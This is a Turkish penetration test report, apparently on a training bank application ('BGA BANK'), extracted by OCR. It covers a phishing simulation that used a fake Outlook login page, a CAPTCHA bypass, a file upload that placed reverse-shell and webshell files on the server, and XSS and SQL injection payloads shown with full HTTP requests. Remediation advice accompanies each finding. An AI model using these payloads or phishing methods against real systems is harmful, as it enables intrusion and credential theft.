kurum calisanlarina ait e-postalar Google, Bing gibi arama motorlar: kullanilarak tespit edilmeye
calisilmis yeterli miktarda e-posta bulunamamasi halinde Linkedin tizerinden ilgili kuruma ait
calisanlarin listesi elde edilerek e-posta adresleri tahmin edilmeye calisiilmistir.

Sosyal Miihendislik Testi Senaryo Ozetleri:
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6.1.2. Tespit Edilen Agikhiklar

6.1.2.1. E-posta ile Oltalama Saldirisi

Onem Derecesi Acil

Acikhigin Etkisi Yetkisiz erisim, Bilgi ifsasi

Erisim Noktas1 Internet

Kullanic Profili Anonim kullanic profili

Bulgu Kategorisi Sosyal Miihendislik

Bulgu Sebebi Personelin glivenlik farkindaliginin eksikligi
Bulgu Aciklamasi:

E-posta oltalama saldirisi i¢in bir senaryo gelistirilmistir. Bu senaryonun amaci icerden bilgi
almadan, disardan bir saldirganin miisteri kurum c¢alisanlarina yonelik phishing(oltalama)
saldirilar ile yetkisiz erisim elde edip edemeyeceginin belirlenmesidir. Bu yontem ile elde
edilebilecek en kritik bilgi VPN erisimi ile ilgili kullanic1 bilgileridir. VPN erisimi elde edildikten
sonra tiim i¢ aga sizmak miimkiin olabilir.

Bu senaryoda bt-destek@bgabank.com adresinden geliyormus gibi, sahte bir e-posta
gonderilerek kullanicilarin Outlook web uygulamasi iizerinden kullanici adi1 ve parolalarini
girmeleri talep edilmistir.

Gonderilen e-postanin bir 6rnegi asagida yer almaktadir;

Yeni Nesil E-posta Sistemine Gecis Hk O

H Help Desk ( stcestexgozanensc com.tr ) Kigilere ekle 05022014 Eylemler
Kime ®

Kurumumuz bdnyesinde uzun sdredir altyap: galigmalan ylratiimekte olan yeni nesil gUvenli e-posta ve iletisim sistemine bugin
itibanyla gegis yapilmigtir. Kullanilan e-posta hesaplannda problem yagsanmamas: igin agsadida badlantis: verilen Outiook Web App
uygulamasina giris yapilarak sag Gstte yer alan glvenlik ayariarnnin "RBAC / TLS 3.0" derecesine gekilmesi gerekmektedir. 7 Subat 2014

tarihi itibanyla gancelleme yapiimayan hesaplara erigim saglanamayacaktir.

Veb App 2014 Girig

Saygilanmizia

Bilgi Teknolojileri

Sekil 1:Gonderilen sahte e-posta
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Toplamda 100 personele gonderilen sahte mail, spam filtrelerini asarak posta kutularina
ulasmis, 30 Kisi ilgili sahte owa sayfasinda parolasin1 dogru olarak girmistir. Oltalama
saldirisinda basar ytizdesi %30’ dur.

Sahte hazirlanan webmail web sayfasi i¢in

URL

http://mail.bgabank.com.tr.o....

Yukaridaki URL kullanilmistir. Gonderilen mail igerisindeki baglantiy: takip eden kullanicilar
asagidaki gibi bir sayfaya ile karsilasmis olacaktirlar.

Outlook' Web App

Security ( show explanation )

(® This is a public or shared computer
This is a private computer

& Use the light version of Outioock Web App

ver

User name:

Password:

Connected to Microsoft Exchange
© 2010 Microsoft Corporation. All rights reserved.

Sekil 2:Kullanicinin karsilastigr sahte mail sayfasi.
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Bu sayfada kullanilan URL yukarida goriildiigii lizere bga.com.tr uzantili bir alt domain
adresidir. Bu sayfadan kullanici bilgilerini giren kullanicilara ait hesaplar ele gegirildikten sonra
kullanicilar gercek webmail sayfalarina yonlendirilmistir..

E-posta oltalama saldirisinda kullanici hesaplarini giren kullanicilar asagida verilmistir;

(Parolalar maskelenmistir)

Kullanic Bilgilerini Paylasan Kullanicilar;

Kullanic1 adx: Parola:
Userl Pass1
User2 Pass2
User3 Pass3
User4 Pass4
User5 Pass4

Aciklig1 Barindiran Sistemler:

* Kurum Calisanlari

Coziim Onerileri:

Elektronik posta ile gerceklestirilen oltalama saldirilarinda ilk hedef kurum ¢alisanlari, ikinci
hedef ise uygulama tarafi zafiyetleridir. Asil hedef olan kurum calisanlari ise bu tiir saldirilar
konusunda bilin¢lendirilmelidir. Bu konuda devamli olarak tekrarlanmasi ve giindemde
tutulmasi gereken uyarilar su sekilde 6zetlenebilir:

* Internetiizerinden erisilecek e-posta ikili yetkilendirme sistemi kullanilarak ¢alistirilmali

* Taninmayan kisilerden gelen e-postalar agilmamaly,

* Bilinen bir kisiden gelen stipheli e-postalar, génderen Kkisi tarafindan onaylatilmalj,

* (Gelen e-posta ile birlikte gelen dokiimanlar veya baglantilar bu onay olmadan agilmamali,

* Ozellikle herhangi bir e-postadaki baglanti, eger goériiniirde farkh, arkada farkl bir
adrese yonlendiriyor ise bu baglantilara kesinlikle tiklanmamal.

* Kurum icinden gelen e-postalarin onaylama isleminin otomatik olarak
gerceklestirilebilmesi icin, e-posta imzalama mekanizmalar: kullanilabilir.

28

BGA Bilgi Giivenligi Anonim Sirketi | www.bga.com.tr



BGA BANK Si1zma Testleri ve Giivenlik Denetim Raporu | Gizli

6.2. Web Uygulama Giivenlik Testleri

6.2.1. Gergeklestirilen Giivenlik Testi islemleri

Gergeklestirilen giivenlik testi islemleri Web uygulamalarina yapilan testler sisteme zarar
vermeyecek sekilde, internet lizerinden ve yerel agdan gerceklestirilmistir. Sunucular tizerinde
calisan servislerin ve isletim sisteminin bilinen agikliklarinin arastirilmasinin yaninda, sistemdeki
uygulamalara has giivenlik agikliklar1 da arastirilmistur.

Yapilan giivenlik testleri bilesen tabanl ele alinmistir. Bu testlerde ilk olarak BGA tarafindan
derlenen Test Prosedirleri adimlari uygulanmistir. Test prosediirleri ile tespit edilemeyen
acikliklar ise ticari tarama araglar1 yardimiyla bulunmaya ¢alisiimistir. Bu araglarin bir¢ok yanls
alarmlar (false positives) verebilecegi hususu géz 6niinde bulundurularak, tespit edilen agikliklar
detayl olarak incelenmistir.

Web Servisi

Testleri Raporlama

- / - ‘ - N ‘ &

e - Risk

Sekil 3

Bu kapsamda asagida detaylandirilan test adimlar gerceklestirilmistir:

Uzaktan genel tarama araglari ile sunucularin agik olan servisleri, yama eksiklikleri ve
yapilandirma hatalari aranmistir.

Uygulama girdisi kontrol testleri (Siteler Otesi Betik Calistirma, Parametre Enjeksiyonu ve
Manipiilasyonu) uygulanmistir.

Parametre biitiinliigu giivenlik kontrolleri denetlenmistir.

Sistem hakkinda bilgi agiga ¢ikarmaya yonelik testler uygulanmigstir.

Oturum yonetiminde bulunabilecek bazi zafiyetler arastirilmistir.

Yetkilendirme (URL tabanli) stireclerinde bulunabilecek bazi zafiyetler arastirilmistir.
Uygulamanin bulundugu sunucu tlizerinde konuslanmis diger servisler kullanilarak bilgi
edinilmeye ¢alisiimistir.

l1gili veritabanlarina erisim saglanmaya calisarak, uygulamada yetkili kullanici hesaplari
edinilmeye ¢alisiimistir.

Sifre politikalar1 incelenmistir.
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Ayrica asagida verilen test basliklar1 da manuel olarak, acik kaynak ve ticari araglar kullanilarak
test edilmistir.

Yapilandirma Yonetim Testleri

v

AN NERN

<

SSL/TLS versiyon, algoritma ve sertifika gecerlilik testleri - OWASP-CM-001
Hedef uygulamada kullanilan y6netim panelinin belirlenmesi - OWASP-CM-00
Dosya uzantisi yonetimi testleri - OWASP-CM-005

Yedek, kopya, test veya eski siirimlerden kalma sayfa ve uygulamalarin belirlenmesi-
OWASP-CM-00
Sunucu tarafindan desteklenen metodlarin ve XST belirlenmesi - OWASP-CM-008

Kimlik Dogrulama Testleri

v
v

ANERN

DN NI N

Hassas bilgilerin sifreli/sifresiz kanallardan aktarimi - OWASP-AT-001

Hedef uygulama tizerinde kullanici adi belirleme/dogrulama ¢alismalar: - OWASP-AT-
002

Hedef uygulama tizerinde tanimli kullanicilarin belirlenmesi - OWASP-AT-00

Hedef uygulama tizerinde yetkili kullanicilara yonelik brute force parola denemeleri -
OWASP-AT-00

Kimlik dogrulama asamasini atlatma denemeleri - OWASP-AT-005

Parola hatirlatma ve parola sifirlama 6zelliklerinin testleri - OWASP-AT-006

Browser 6n bellek yonetimi ve “Log out” fonksiyonlarinin testleri - OWASP-AT-007
CAPTCHA giivenlik testleri - OWASP-AT-008

Oturum Yonetimi Testleri

Oturum yonetimi zayifliklari, oturum yonetimi bypass testleri - OWASP-SM-001
Detayli cookie gilivenlik testleri - OWASP-SM-002

Oturum sabitleme (session fixation) testleri - OWASP-SM-003

Oturum degerleri tahmin saldirilar1 - OWASP-SM-004

CSRF(Cross site request forgery) testleri - OWASP-SM-005

Yetkilendirme Testleri

v
v
v

Dizin atlatma/gezme(Directory Treversal) testleri - OWASP-AZ-001
Yetkilendirme atlatma, yetkilendirme gecis testleri - OWASP-AZ-002
Yetki ytlikseltimi testleri - OWASP-AZ-003

Is Mantig1 Denetim Testleri

v

Uygulamanin isleyisinin belirlenmesini takiben uygulamanin isleyisine yonelik teknik
olmayan ataklarin denenmesi.

Veri Dogrulama Testleri

v

Yansitilan XSS testleri - OWASP-DV-001
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L XX

Depolanmis XSS testleri - OWASP-DV-002

DOM tabanh XSS testleri - OWASP-DV-003

XSF (Flash XSS) testleri -OWASP-DV-004

SQL enjeksiyonu testleri - OWASP-DV-005

LDAP enjeksiyonu testleri - OWASP-DV-006

XNL testleri - OWASP-DV-008

Xpath enjeksiyonu testleri - OWASP-DV-010

Kod enjeksiyonu testleri - OWASP-DV-012

Isletim sistemi komut enjeksiyonu testleri - OWASP-DV-013
Bellek tasmasi (buffer overflow) testleri - OWASP-DV-014
Http response splitting testleri - OWASP-DV-016

Hizmet Dis1 Birakma Testleri

<

AN NN

v

SQL wildcard tlizerinden DoS testleri - OWASP-DS-001
Hesap kitleme politikasinin testi - OWASP-DS-002
Buffer overflow DoS testleri - OWASP-DS-003
Oturum boyutu arttirma DoS testleri - OWASP-DS-008
http GET Flood DoS testleri

SYN Flood DDoS testleri

Uygulama stiriimiine 6zel DoS testleri

Web Servisi ve Ajax Testleri

v
v
v

Web servisi bilgi toplama ¢alismalar1 - OWASP-WS-001
WSDL testleri - OWASP-WS-002
XML yapi1 testleri - OWASP-WS-003

Web Uygulama Giivenlik Sistemlerinin Testleri

v
v
v

Web uygulama giivenlik duvar kesif testleri
Network IPS Kkesif testleri
[PS/Web uygulama giivenlik duvari atlatma testleri
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6.2.2. Tespit Edilen Agikhiklar

6.2.2.1. Captcha(Giivenlik karakteri) Giivenlik Onlemini Atlatma
Onem Derecesi Orta

Acikhigin Etkisi Yetkisiz Erisim

Erisim Noktas1 Internet

Kullanic Profili Anonim Kullanici

Bulgu Kategorisi Web

Bulgu Sebebi Uygulama Gelistirmedeki Eksiklikler/Hatalar
Bulgu Aciklamasi:

Yapilan web sizma testleri esnasinda Miisteri Kuruma ait yonetim kullanic1 girisi yapilan
boliimlerde captcha kullanildigi belirlenmistir. Captcha, her oturum agma asamasinda rastgele
karakterler c¢ikartilarak bunun kullanici tarafindan girilmesi islemidir. Bu ydntem
saldirganlarin sistem iizerinde erisim elde edememeleri icin uygulanan ek bir glivenlik
onlemidir. Captcha kullanilmayan kimlik dogrulama arabirimlerinde, saldirganlar cesitli
otomatize araclar kullanarak bu web formlarina soézlik ve kaba kuvvet saldirilari
gerceklestirebilirler. Bu sekilde miisterilere ait hesaplar veya yonetim panelindeki yonetici
hesab1 ele gecirilebilir. Miisteri kurumda kullanilan captcha boéliimiiniin calismadig1 tespit
edilmistir. Kullanici adi1 ve parola girildikten sonra captcha girilmesede sisteme login
olunabildigi gorilmiistiir. On tanimli olarak captcha kimlik dogrulamada devre disi oldugu
belirlenmistir.

Asagidaki ekran goriintiisiinde siteye 3 defa yanlis giris yapilmis ve buna karsilik giivenlik
onlemi olarak captcha geldigi goriilmektedir.
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Miisteri Girig Paneli
NSUL7,
i

A A Musteri Numaranizi ve Sifrenizi Giriniz.
N Bilgi Guvenligi Akademisi
N 12345678

Musteri No :
P BANR e
Sifreniz : seseed
Bireysel
Beni Hatirla S

Kobi
Resmi Degistir

Giincel Kur Tablosu 26

Sifremi Unuttum ﬁ

X 3 Defa Yanlig Girig Yaptiniz?

Sekil 4: 3 defa yanls giris yaptiktan sonra captcha gelmektedir.

Daha sonra uygulamaya captcha’da yer alan glivenlik kodu girilmeden normal kullanici bilgileri
ile giris yapilmistir ve captcha’nin kontrol edilmedigi gorillmiistiir.

|| Rizacan Tufan  Iglemler ~ Cikis  Ziyaretgi Defteri

S Online BGA Vulnerability Bank Sistemine Hoggeldiniz.
QQN 7/4,0

A B G A Swursiz kredi, stnirsiz vadeli, tistelik faizsiz.
\Eilg' Guvenligi Akademisi

BGA BANK

. o ANR

Bireysel

Kobi

Giincel Kur Tablosu

Sekil 5: Captcha girilmeden direk kullanici bilgileri ile sisteme giris yapilabilmektedir.
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Acikligr Barindiran Sistemler:

e http://www.bgabank.com:8080/?sayfa=giris.php

Coziim Onerileri:

e lgili captcha uygulamasimin 6n tamml kimlik dogrulamada devrede olmasi
onerilmektedir.

* (Captcha kontrolii yapilmadan sisteme direk olarak giris yapilmamalidir.

¢ Kullania sisteme bir ka¢ defa yanlis giridkten sonra degil,ilk giris yaparken captcha
kontrolii yapilmasi 6nerilmektedir.

Referanslar:

e http://en.wikipedia.org/wiki/CAPTCHA
e http://www.w3schools.in/php-tutorial/php-captcha/

e http://www.devmanuals.com/tutorials/java/jsp/captcha.html

* http://demos.telerik.com/aspnet-ajax/captcha/examples/ overview/defaultcs.aspx
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6.2.2.2. Kontrolsiiz Dosya Upload Fonksiyonu

Onem Derecesi Yiiksek

Acikhigin Etkisi Yetkisiz Erisim

Erisim Noktasi Internet

Kullanic Profili Anonim Kullanici

Bulgu Kategorisi Web

Bulgu Sebebi Uygulama Gelistirmedeki Eksiklikler/Hatalar
Bulgu Aciklamasi:

Miisteri kuruma yonelik yapilan sizma testleri esnasinda http://www.bgabank.com sistemine
login olunduktan sonra uygulama tlizerinde profil diizenleme ekranindaki resim degistirme
kisimda sisteme dosya upload edilebilen bir boliim tespit edilmistir. Yapilan dosya yiikleme
testlerinde ilgili boliimden sisteme yiiklenen dosyalarin herhangi bir uzanti veya boyut
kontroliinden gecmedigi belirlenmistir. Bu sekilde saldirganlar sisteme uygulama platformu ile
ayni dilde (aspx,php,jsp v.s) ajan uygulamalar yiikleyerek isletim sistemine komutlar
gonderebilirler. Ayrica boyutu biiyiik dosyalarda sisteme dosya yiiklenerek disk kullanim orani
tiiketilerek servis dis1 birakma(DOS) gerceklestirilebilir.

Sisteme giris yaptiktan sonra kendi profilinizi diizenlemeniz miimkiindiir.Misteri Bilgi Paneli
asagidaki gibidir.

= C' | [B www.bgabank.com:8080/?sayfa=profil.php&musterilD=1

i Uygulamalar ['] nessus (@) Dradis Professional ... BGA - Exploit DB Cal... #y Top 30 Nmap Com...

|P®| Rizacan Tufan islemler Cikis Ziyaretgi Defteri

Miusteri Bilgi Paneli
; ({O‘QSULT%

é‘ A Bilgilerinizi Eksiksiz Doldurunuz.

~ .

?e%\ & Bilgi Govenligi Akademisi

. oSS BANR

Bireysel
Kobi
Resim Secin
Giincel Kur Tablosu
Sadece _png ve _jpg uzantili resim yikleyebilirsininiz
Adi Alis Satis
EUR/USD 1.3813 1.3815 Adi Rizacan
USDIPY 102.01 102.02
GBP/USD 1.6720 1.6721 Sovac i
USD/CHF 0.8796 0.8798
Telefon (333) 333 33 33
USD/CAD 1.1085 1.1088
AUD/USD 0.8951 0.8953

Sekil 3: Miisteri Bilgi Paneli
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Asagidaki ekran goriintiisiinde Misteri Bilgi Panelinde resim degistirme fonksiyonunda
zaafiyet oldugu tespit edilmistir.Yiiklenen dosya gerekli kontrolden ge¢medigi icin kullaniciya
ait profil resmi alanina zararl yazilim iceren bir dosya ytiklenebilecegi goriilmiistiir.

\E\RlzaemTufm

Islemler Cikis Ziyaretgi Defteri

Miisteri Bilgi Paneli

€

WNSUL 7,
<® /4/6‘

come®  BANR

The page at shell.bga.com.tr:8080 says:
Resim Basariyla Degistirildi

Lok |

Bireysel

Kobi

shell.php (13KB) - Complete

Giincel Kur Tablosu

Sekil 6:Zararli dosya siteye yiiklendi.

Sisteme farkli bir dosya yiiklenmeye c¢alisildiginda basarili bir sekilde yiiklenebildigi
gorilmiistiir. Sisteme yiliklenen dosyanin upload klasoriine kaydedildigi tespit edilmistir.
http://shell.bga.com.tr:8080/uploads/ adresi lzerinde dosyayr gérmek miimkiindiir.Daha
sonra yiiklenen casus yazilim ¢alistirilarak hedef sistemem sizilabilir.

€« C'  [3 www.bgabank.com:8080/uploads/1/
Index of /uploads/1

Name Last modified  Size Description

a Parent Directory
Screenshot from 2014-02-07 15:18:28 png png
mac-os-x-lion-galaxy-w:

18-Feb-2014 07:38 460K
ermac-os-x-aurora-hd-wallpaper-theme-bin-- -customization-hd-huOdodcu.jpg 18-Feb-2014 07:39 614K

@ php-reverse-shell php
[2) shellphp
@ weevely.php

21-Feb-2014 07:54 54K
21-Feb-2014 0747 13K
21-Feb-2014 08:08 608

Sekil 7:Yiiklenen dosya /uploads dizini altinda goriilmektedir.

Ac¢iklig1 Barindiran Sistemler:

e http://www.bgabank.com:8080/?sayfa=profil.php&musterilD=1
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Coziim Onerileri:

Uygulama kod seviyesinde upload edilebilecek dosyalarin uzantilar1 kontrol edilmeli ve yalniz
belirli uzantidaki dosyalarin yiiklenmesine izin verilmemesi dnerilmektedir.Yiiklenen dosya
boyutlarinin limite tabi tutulmalar1 6nerilmektedir.

Referanslar:

* https://www.owasp.org/index.php/Unrestricted_File_Upload

37

BGA Bilgi Giivenligi Anonim Sirketi | www.bga.com.tr



BGA BANK Sizma Testleri ve Giivenlik Denetim Raporu | Gizli

6.2.2.3. Yansitilan Siteler Arasi Script Calistirma/ XSS (OWASP-DV-001)

Onem Derecesi Yiiksek

Acikhigin Etkisi Yetkisiz Erisim, Bilgi ifsasi

Erisim Noktas1 Internet

Kullanic Profili Anonim Kullanici

Bulgu Kategorisi Web

Bulgu Sebebi Uygulama Gelistirmedeki Eksiklikler/Hatalar
Bulgu Aciklamasi:

Siteler arasi script ¢alistirma zafiyeti olarak bilinen XSS, kotii niyetli kisilerin bu site tizerinden
diger kullanicilara istemci tarafinda calismak tizere kod (genellikle JavaScript ve html) gonderip
kotl amaglarla ¢alistirmalarina imkan tanimaktadir.

XSS zafiyetleri uygulamalarda disaridan alinan bilgiler i¢gin yeterli girdi ve ¢ikti denetimi
yapilmadig1 durumlarda ortaya ¢ikar ve art niyetli bir kullanic istedigi gibi javascript kodu
calistirarak hedef aldig kisilere ait oturum bilgilerini ¢alabilir, hedef aldig1 kisilerin browserini
istedigi gibi yonlendirebilir. Ele gecirdigi kurban browseri kullanilarak i¢ agda port tarama,
ortamda ses kaydi ve goriintii kaydi gerceklestirebilir.

Reflected (yansitilmis) XSS agikhig1 en sik karsilasilan XSS acikligh tiiriidiir. ilgili aciklik tiiriinde,
hedef sisteme gonderilen kod par¢acigi(payload) kalici olarak veritabaninda tutulmamaktadir.
Bu sebeple ilgili acikligin istismar1 i¢in, 6ncesinde kullanici tarafinda bir baglanti ziyaret ettirme
seklinde bir sosyal miihendislik saldiris1 gerceklestirilmelidir. Reflected XSS a¢ikligit HTTP GET
ve POST taleplerinin her ikisinde iletilen parametrelerde de bulunabilir. Reflected XSS agikligi,
temelde hedef sisteme gonderilen payload'un, dénen sunucu cevabi icerisinde encode
edilmeden dondiiriilmesi durumunda ag¢iga ¢ikmaktadir. Bu durumda istegi yapan istemci
tarafinda enjekte edilen kod parcacigi eylemini gerceklestirecektir. Bu aciklik tiirii istismar
edilerek client tarafinda html, javascript, action script benzeri kod pargac¢iklar: sayfaya enjekte
edilebilir. Kulanic1 kandirma veya cookie hirsizlig1 gerceklestirilebilir.

Uygulamanin arama kisminda Yansitilan Siteler Arasi Script c¢alistirilabilecegi
gorilmiistiir.Asagidaki tablolarda hangi url adesinde ve hangi parametrelerde oldugu detayh
bir sekilde ifade edilmistir.
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http://www.bgabank.com:8080/

HTTP Talep
Turtu

GET

Parametre S

Payload <img onerror="prompt(1)" src="1.jpg">

Hedefe gonderilen GET istegi;

http://www.bgabank.com:8080/index.php?sayfa=arama.php&s=%3Cimg+onerror%3D%?2
2prompt%281%29%22+src%3D%221.jpg%22%3E

Bu verilen bilgiler dogrultusunda uygulamanin arama kisminda belirtilen payload ¢alistirildig:
zaman XSS ¢alisacaktir ve asagidaki gibi bir goriintii ile karsilasilacaktir.

Istismar ekran goriintiisii

e0o0 BGA BANK - Bilgi Giivenligin Tek Bankasi :)
| ) BGABANK - Bilgi GavenliginTe... | |

@ @ shell.bga.com.tr:8080/index.php?sayfa=arama.php x ‘ [ﬂ' Google Q) @ @

shell.bga.com.tr bekleniyor...

Sekil 8:Sayfa iizerinde XSS ile komut calistirilabilir.
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Acikligr Barindiran Sistemler:

e http://www.bgabank.com:8080/

Coziim Onerileri:

Uygulama kodlarinin gézden gecirilerek parametreler ve http basligindaki diger alanlar vasitasi
ile yollanan her tiirlii bilginin kullanilmadan o6nce zararli karakterlerden filtrelenmesi
onerilmektedir.Uygulamalardaki biitiin girdi ve ¢ikti noktalarindan gelen degiskenler kontrole
tabi tutulmali ve bu girdilerdeki biitiin meta karakterler filtrelenmelidir. Detayli XSS 6nleme
yontemleri icin asagida belirtilen referanslar incelenebilir.

Referanslar:

e http://www.owasp.org/index.php /XSS

e http://www.cgisecurity.com/articles/xss-fag.shtml
e http://ha.ckers.org/xss.html
* http://www.bindshell.net/tools/beef
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6.2.2.4. Depolanan Siteler Arasi Script Calistirma (XSS)

Onem Derecesi Kritik

Acikhigin Etkisi Yetkisiz Erisim, Bilgi ifsas
Erisim Noktasi Internet

Kullanic Profili Anonim Kullanici

Bulgu Kategorisi Web

Bulgu Sebebi Yapilandirma Eksikligi/Hatas1
Bulgu Aciklamasi:

Siteler arasi script ¢alistirma zafiyeti olarak bilinen XSS, kotii niyetli kisilerin bu site lizerinden
diger kullanicilara istemci tarafinda calismak tizere kod (genellikle JavaScript ve html) génderip
koti amaglarla ¢alistirmalarina imkan tanimaktadir.

XSS zafiyetleri uygulamalarda disaridan alinan bilgiler i¢gin yeterli girdi ve ¢ikt1 denetimi
yapilmadig1 durumlarda ortaya ¢ikar ve art niyetli bir kullanic istedigi gibi javascript kodu
calistirarak hedef aldig1 kisilere ait oturum bilgilerini calabilir, hedef aldig1 kisilerin browserini
istedigi gibi yonlendirebilir.

Bulgu 1:

http://www.bgabank.com:8080/?sayfa=mesajlar.php&islem=yenimesaj#

HTTP Talep

GET
Tuari
Parametre k2
Payload <img onerror="alert(document.cookie)" src="1.jpg">

Asagidaki ekran goriintsiinde agikligin bulundugu alan goriinmektedir.Belirtilen payload ilgili
yere yazilip gonderildigi zaman goriintiinin altinda bulunan tabodaki gibi bir GET istegi
gidecektir.
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Yardim B Qoo FH M DO t = %6GEL 4 Fri 15:55 CihatISIK Q i

Firefox Dos n )
8006 BGA BANK - Bilgi Giivenligin Tek Bankas: :)
| = BGA BANK - Bilgi Gavenligin Te.. | +
@) @ shell.bga.com.tr:8080/7sayfa=mesajlar.php&islem=yenimesaj i & | (8- Google Q) (3] (»]
n Islemler Cikis Ziyaretgi Defteri

Mesajlar

Yeni Mesaj Gonder

Temsil , Ozan Ug
K Yardim J
Bireysel
Mesaj : <img .
2 onerror="alert(document.cookie)"
Kobi src="1.jpg">

Giincel Kur Tablosu
NOT: Miigteri Temsilcimiz size en yakinda cevap dénecektir!
Devam Et
v jiniz Migteri ilcisi lletildi. Size olumlu ya da olumsuz yanit verilecektir.

©2013 BGA BANK v1.1 - Bilgi Giivenligin Tek Bankasi

© Firefox, deneyiminizi gelistirebilmemiz iin baz: verileri oto

Sekil 9:XSS payloadinin yazilacagl mesaj sayfasi

Hedefe gonderilen GET istegi;

GET
/ajax.php?sayfa=mesajlar.php&k1=Dilek&k2=%3Cimg+onerror%3D%?22alert(document.co
okie)%22+src%3D%221.jpg%22%3E&k3=PVVETz]jek56VXpOd1lqTT]BRE8wa2pZaOpqTT
VRakOORURPemNUTndZR04%3D HTTP/1.1

Host: www.bgabank.com:8080

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Iceweasel/18.0.1

Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/plain; charset:UTF-8

X-Requested-With: XMLHttpRequest
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Referer: http://www.bgabank.com:8080/7sayfa=mesajlar.php&islem=yenimesaj
Cookie: PHPSESSID=2vqsjc7ipgl125kf65mtk5e5f5

Connection: keep-alive

Bu parametreler dogrultusunda gonderilen XSS ¢alistigi zaman asagidaki gibi bir ekran
goruntiisii olacaktir.

4 © | [ shell.bga.com.tr:8080/?sayFa=mesajlar.php&islem=mesajoku&mesajiD=21

L’{E This pageisin | Turkish 2 | Would you like to translateit? | Translate | | Nope | |Never translate Turkish

£ X 0zan Ugar Banka Iglemleri Misteri iglemleri Cikis

Mesajlar

Mesaj Oku
Tarih : 2014-03-05 05:37:55

Turd : Giden Mesaj
& The page at shell.bga.com.tr:8080 says:

EOsUL DIk __Utma=65561917.800819152.1392640834.1393521112.1393547298.17;

__utmz=65561917.1393547298.17.12.utmcsr=google|utmccn=

Mesaj : | (organic)|utmcmd=organic|utmctr=(not%20provided);
_ga=GA1.3.800819152.1392640834; u__=false;
PHPSESSID=k40t8i0ntc86hdv62n2gp2e723

© 2013 BGA BANK - Bilgi Guvenligin lij

Sekil 4:XSS’in calistigi an.

Bulgu 2:

http://bgabank.com:8080/index.php?sayfa=havale-eft.php

HTTP Tal
| GET
Turu
Parametre K3
Payload <script>alert(1)</script>

Belirtilen sayfa lizerinde bulunan bilgiler gerektigi sekilde doldurulmustur ve Not kismina
tabloda verilen payload yazilmistir.Ornek ekran goriintiisii asagidaki gibidir.
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= - s e = =
« [(_L www.bgabank.com:8080/?sayfa=havale-eft.php v e] @ [ﬁv n 0‘1 &NoF

@ Metasploit Pro ) Nessus W Aircrac k-ng ‘nExploit-DB

BAcihatigk  Iglemler  Gikig

Havale/EFT islem Merkezi

WSUL 7,
S

4 B G A Havale EFT Varolan Hesaplar:
\S \?lg Givenligi Akademisi
BANR .
+ INNY Havale Gonderme islemi
Odeme TR400340100000000000020047 [Normal Hes~|
Bireysel
Génderme Tipi @® IBAN ile Gonder
Kobi O Hesap No ile Génder
IBAN NO TR400340100000000000001004 k
Guincel Kur Tablosu
Adi Alig Satig HESAP SAHIBI Cihat Isik
EUR/USD 1.3813 1.3815
USD/IPY 102.01 102.02 Miktar 1000 . oo
GBP/USD 1.6720 1.6721
[ R . Not <script=alert (1)</script>
USD/CAD 1.1085 1.1088
AUD/USD 0.8951 0.8953
NZD/USD 0.8412 0.8414 N
NOT: Sectiginiz Hescbin Kuruneyse cnunlaislem yapilaccktur!

EUR/GBP 0.8261 0.8263

DevamnEt

whanw evnlait-dh com

Sekil 5:Sayfanin gonderilmeden dnceki hali

Daha sonra paray1 gonderdigimiz zaman arka taraftan giden GET istegi asagidaki gibidir.

Gonderilen GET istegi

GET /ajax.php?sayfa=havale-
eft.php&k1=50&k2=1&k3=TR400340100000000000001004&k4=&k5=Cihat+I%C5%9F%C
4%B1k&k6=1000&k7=00&k8=%3Cscript%3Ealert(1)%3C%2Fscript%3E&k9=0 HTTP/1.1

Host: www.bgabank.com:8080

User-Agent: Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0
Iceweasel/18.0.1

Accept: text/html, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: text/plain; charset:UTF-8

X-Requested-With: XMLHttpRequest

Referer: http://www.bgabank.com:8080/?sayfa=havale-eft.php
Cookie: u__=false; PHPSESSID=pgjkb9hZ2hvsl2hfv275i70jcv4

Connection: keep-alive
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Hesabina para aktarilan kisi hesap hareketini goriintiilemek istedigi zaman payload ¢alisacaktir
ve asagidaki gibi bir ekran ile karsilasacaktir.

€@ (@ www.bgabank.com 8080/7sayfa=hesaplarim.php&ID=3 v Q| ® [Bv cooae Q| & No Proxy
@ Metasploit Pro ) Nessus W Aircrack-ng EBExploit-DB

Transferring data from www.bgabank.com...

Sekil 60 : Payload basarili bir sekilde calismistir.

Aciklig1 Barindiran Sistemler:

e http://www.bgabank.com:8080/?sayfa=mesajlar.php&islem=yenimesaj#
e http://www.bgabank.com:8080/index.php?sayfa=havale-eft.php

Coziim Onerileri:

Uygulama kodlarinin gézden gecirilerek parametreler ve http basligindaki diger alanlar vasitasi
ile yollanan her tirlii bilginin kullanilmadan o6nce zararli karakterlerden filtrelenmesi
onerilmektedir.Uygulamalardaki biitiin girdi ve ¢ikt1 noktalarindan gelen degiskenler kontrole
tabi tutulmali ve bu girdilerdeki biitiin meta karakterler filtrelenmelidir.

Detayli XSS 6nleme yontemleri icin asagida belirtilen referanslar incelenebilir.

Referanslar:

e http://www.owasp.org/index.php /XSS

e http://www.cgisecurity.com/articles/xss-fag.shtml
e http://ha.ckers.org/xss.html
* http://www.bindshell.net/tools/beef
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6.2.2.5. SQL Injection Zafiyeti (OWASP-DV-005)

Onem Derecesi Acil

Acikhigin EtKisi Yetkisiz Erisim, Bilgi ifsas

Erisim Noktasi Internet

Kullanic Profili Anonim Kullanici

Bulgu Kategorisi Web

Bulgu Sebebi Uygulama Gelistirmedeki Eksiklikler/Hatalar
Bulgu Aciklamasi:

SQL Injection zafiyeti, uygulama parametreleri araciligi ile yollanan bilgilerin diizgiin kontrol
edilmemesi sebebi ile arka planda calisan veritabanina yollanan sorgulara, saldirganin
sorgularini eklemesine imkan taniyan bir giivenlik acigidir.

Hata Tabanli SQL Injection saldirilari, uygulamanin veri tabanina génderdigi sorgularda
herhangi bir yazim hatasi syntax error olmasi durumunda veya sorgunun veri tabaninda
calismasi sonucu donen verilerin, ekrana ¢ikti olarak verilmesi temeline dayanir.

...edilebilen bir tiirdir.

Bulgu 1:

http://bgabank.com:8080/index.php?sayfa=havale-eft.php

HTTP Talep GET

Tiiri

Parametre

Payload "or 1=1;--

Tabloda belirtilen bilgiler dogrultusunda havale-eft gonderme isleminin oldugu sayfada
